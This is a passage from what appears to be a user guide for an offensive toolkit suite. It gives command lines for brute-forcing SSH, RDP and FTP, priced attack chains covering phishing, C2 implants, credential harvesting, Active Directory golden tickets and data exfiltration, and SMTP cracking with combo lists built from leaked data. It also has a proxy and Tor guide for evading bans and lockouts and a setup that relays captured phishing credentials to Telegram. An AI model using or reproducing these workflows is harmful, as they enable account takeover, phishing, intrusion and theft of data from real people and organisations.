Brute force SSH, FTP, RDP, MySQL, PostgreSQL, SMB.

```
python3 brute_forcer.py --service ssh --target 10.0.0.1 --user admin --wordlist passwords.txt
python3 brute_forcer.py --service rdp --target 10.0.0.1 --user admin --wordlist passwords.txt
python3 brute_forcer.py --service ftp --target 10.0.0.1 --user-list users.txt --pass-list
passes.txt
proxychains4 python3 brute_forcer.py --service ssh --target 10.0.0.1 --user admin --wordlist
passes.txt
```

## report\_generator.py – Pentest Report Generator

Generate professional penetration testing reports.

```
python3 report_generator.py --template pentest --findings findings.json --output report.pdf
python3 report_generator.py --template bugbounty --findings findings.json --output report.md
python3 report_generator.py --template executive --findings findings.json --output executive-
summary.pdf
```

## lead\_processor.py – Lead/Data Processor

Process and organize pentest findings, sort vulnerabilities by severity.

```
python3 lead_processor.py --input findings.json --sort-by severity --output organized.json
python3 lead_processor.py --input findings.json --dedupe --merge --output clean.json
```

## 10. FULL ATTACK CHAINS

---

### Chain 1: Bug Bounty (\$500-\$500,000)

---

**Phase 1 – Recon:** Toolkit 1

recon\_pipeline.py → subdomain\_scanner.py → dns\_recon.py → email\_harvester.py

**Phase 2 – Vulnerability Discovery:** PT-Hacker

web\_app\_scanner.py → vuln\_scanner.py → exploit\_helper.py

**Phase 3 – Cloud Testing:** Toolkit 4

cloud\_bucket\_hunter.py → metadata\_exploit.py → oauth\_abuse.py

**Phase 4 – Report:** PT-Hacker

report\_generator.py --template bugbounty

### Chain 2: Full Red Team (\$10,000-\$100,000)

---

**Phase 1 – OSINT:** Toolkit 1

recon\_pipeline.py → email\_harvester.py → social\_mapper.py → metadata\_extractor.py

**Phase 2 – Phishing:** Toolkit 2 + Strike

site\_cloner.py → campaign\_manager.py → phishing\_lab.py → email\_spoofers.py

**Phase 3 – Initial Access:** Toolkit 5

pdf\_payload.py / office\_macro\_generator.py → c2\_server.py

**Phase 4 – Post-Exploit:** Toolkit 6

privesc\_windows.py → credential\_harvester.py → network\_scanner.py

**Phase 5 – AD Attack:** Toolkit 3

ad\_enum.py → kerberoast.py → bloodhound\_collector.py → golden\_ticket.py

**Phase 6 – Persistence:** Toolkit 5 + 6

persistence\_mechanisms.py → implant\_manager.py → data\_exfiltrator.py

**Phase 7 – Report:** PT-Hacker

report\_generator.py --template pentest

### Chain 3: Pentest (\$5,000-\$50,000)

---

**Phase 1 – External:** Toolkit 1 + PT-Hacker

recon\_pipeline.py → port\_scanner.py → vuln\_scanner.py → web\_app\_scanner.py

**Phase 2 – Internal:** Toolkit 3 + 6

ad\_enum.py → kerberoast.py → privesc\_windows.py → credential\_harvester.py

**Phase 3 – Cloud:** Toolkit 4

aws\_enum.py → azure\_ad\_enum.py → cloud\_bucket\_hunter.py

**Phase 4 – Report:**

```
report_generator.py --template pentest
```

## Chain 4: OSINT as a Service (\$500-\$5,000/report)

---

```
recon_pipeline.py → email_harvester.py → social_mapper.py → metadata_extractor.py →  
shodan_search.py → whois_lookup.py → report_generator.py
```

## Chain 5: SMTP Attack (\$2,000-\$10,000)

---

**Phase 1 – Target Discovery:** Toolkit 1

```
recon_pipeline.py → dns_recon.py (find MX records)
```

**Phase 2 – Combo Building:** Toolkit 1

```
combo_builder.py (filter by target domain)
```

**Phase 3 – SMTP Attack:** Strike v27

```
strike_smtp.py (Mode 5: Full pipeline with mobile proxies)
```

**Phase 4 – Post-Exploit:** Toolkit 6

```
credential_harvester.py → data_hunter.py
```

## 11. PROXY GUIDE

---

### Proxy Types for Each Operation

---

Operation	Best Proxy	Why	Speed
SMTP Cracking	Mobile Proxies	Rotates IP per request, lowest ban rate	Slow
Port Scanning	Static Residential	Fast, low detection for light scans	Fast
OSINT/Recon	Static Residential or None	Low request count, no ban risk	Fast
Phishing	None (use your SMTP)	Direct from your mail server	Fast
ZoneH Scraping	Mobile Proxies	Zone-H blocks datacenter IPs	Medium
Brute Force (SSH/RDP)	Mobile Proxies	IP rotation prevents lockout	Slow
Web Scraping	Static Residential	Good balance of speed and stealth	Fast
AD Attacks	None (internal)	Must be on internal network	Fast

### Mobile Proxy Setup

---

```
# In strike_smtp.py or any tool with --proxy flag:
--proxy-file mobile_proxies.txt
--proxy-type socks5 # or http

# mobile_proxies.txt format (one per line):
# user:pass@IP:PORT
# or IP:PORT

# Recommended providers:
# - Smartproxy (mobile): ~$50-100/GB
# - SOAX (mobile): ~$70/GB
# - IPRoyal (mobile): ~$50/GB
# - Bright Data (mobile): ~$100/GB

# 1GB mobile proxy ≈ 5,000-10,000 SMTP requests
```

### Tor Setup (Free Alternative)

---

```
# Install Tor
sudo apt install tor -y
sudo systemctl start tor
sudo systemctl enable tor

# Verify Tor is running
curl --socks5 127.0.0.1:9050 https://check.torproject.org

# Use with any tool:
proxychains4 python3 strike_smtp.py

# Rotate Tor circuit (new IP):
sudo kill -HUP $(pgrep -x tor)
# Wait 5 seconds for new circuit
```

### Speed vs Stealth

---

**Important:** Speed doesn't matter if you get banned. 100 attempts with mobile proxies beats 10,000 attempts with datacenter (which all get blocked). Always prioritize stealth over speed for cracking operations.

## 12. TELEGRAM INTEGRATION

---

### Setup (All Toolkits)

---

```
# Create telegram.json in toolkit directory:
{
  "bot_token": "YOUR_BOT_TOKEN",
  "chat_id": "YOUR_CHAT_ID"
}

# Get bot token from @BotFather on Telegram
# Get chat_id by messaging your bot, then:
curl https://api.telegram.org/botYOUR_BOT_TOKEN/getUpdates
```

### What Gets Sent to Telegram

---

- **Phishing Lab:** Captured credentials in real-time
- **C2 Server:** New implant callbacks, session activity
- **SMTP Cracker:** Cracked credentials
- **Campaign Manager:** Campaign stats, click rates
- **ZoneH Grabber:** New defacements found
- **All tools:** Start/stop notifications, errors, results summary

### Telegram Commands

---

```
# Most tools support these Telegram commands:
--telegram          # Enable Telegram notifications
--bot-token TOKEN   # Specify bot token
--chat-id ID        # Specify chat ID
--telegram-only     # Only send to Telegram (no console output)
```

## 13. TROUBLESHOOTING

---

### Common Issues

---

#### "ModuleNotFoundError: No module named X"

```
pip install X --break-system-packages
# or
pip install X --user
```

#### "Permission denied" when running tools

```
chmod +x *.py
# or
python3 tool.py # instead of ./tool.py
```

#### proxychains4 not working

```
# Check proxychains config
cat /etc/proxychains4.conf
# Should have: strict_chain
# socks5 127.0.0.1 9050

# Test proxy
proxychains4 curl https://ipinfo.io
```

#### ZoneH Grabber returns 0 results

```
# You MUST solve captcha in browser first
# 1. Open browser → https://zone-h.org/captcha.py
# 2. Solve captcha
# 3. Go to https://zone-h.org/archive
# 4. Verify you see defacement data
# 5. F12 → Application → Cookies → zone-h.org
# 6. Copy PHPSESSID value
# 7. Provide to tool when prompted
```

#### SMTP Crack returns 0 results

```
# Common causes:
# 1. Target behind Cloudflare (need MX records, not IPs)
# 2. Rate limiting (use mobile proxies)
# 3. Wrong wordlist (use Auto-IQ mode)
# 4. Firewall blocking (try different ports: 25, 465, 587)

# Fix: Use MX records as targets
python3 dns_recon.py --domain target.com --record MX
# Use the MX hostnames in targets.txt
```

#### Tool compiles but crashes at runtime

```
# Check Python version
python3 --version # Should be 3.11+
```

```
# Check for syntax errors
python3 -m py_compile tool.py

# Run with debug
python3 -v tool.py 2>&1 | tail -50
```

## Aeromail "completed\_with\_errors"

```
# Check DNS resolution
python3 -c "import dns.resolver; r = dns.resolver.Resolver(); print(r.resolve('gmail.com',
'MX'))"

# Check gunicorn logs
tail -50 /home/ai/aeromail/gunicorn_error.log

# Restart aeromail
kill -f gunicorn
cd /home/ai/aeromail && gunicorn -w 4 -b 0.0.0.0:5000 app:app
```

## QUICK REFERENCE CARD

Task	Toolkit	Tool	Command
Find subdomains	1	recon_pipeline	python3 recon_pipeline.py --target X --all-phases
Harvest emails	1	email_harvester	python3 email_harvester.py --domain X
Verify emails	1	email_verifier	python3 email_verifier.py --list emails.txt
Build combos	1	combo_builder	python3 combo_builder.py --input leak.txt --filter @X
Clone website	2	site_cloner	python3 site_cloner.py --url X --output clone
Send phishing	2	campaign_manager	python3 campaign_manager.py --send --campaign X
Kerberoast	3	kerberoast	python3 kerberoast.py --domain X --user Y --pass Z
AD enum	3	ad_enum	python3 ad_enum.py --domain X --all
AWS enum	4	aws_enum	python3 aws_enum.py --access-key X --secret-key Y
Azure enum	4	azure_ad_enum	python3 azure_ad_enum.py --domain X
Gen payload	5	payload_generator	python3 payload_generator.py --os windows --lhost X --lport 4444
PDF payload	5	pdf_payload	python3 pdf_payload.py --lhost X --lport 4444
Start C2	5	c2_server	python3 c2_server.py --host 0.0.0.0 --port 4444
PrivEsc	6	privesc_windows	python3 privesc_windows.py --scan-all
Dump creds	6	credential_harvester	python3 credential_harvester.py --all
SMTP scan	Strike	strike_smtp	python3 strike_smtp.py
Phishing	Strike	phishing_lab	python3 phishing_lab.py --template X
Port scan	PT-Hacker	port_scanner	python3 port_scanner.py --target X
Web scan	PT-Hacker	web_app_scanner	python3 web_app_scanner.py --url X
Gen report	PT-Hacker	report_generator	python3 report_generator.py --template pentest

### END OF GUIDE

By Mr Pilot Annis | Contact: [t.me/rick\\_ene](https://t.me/rick_ene)

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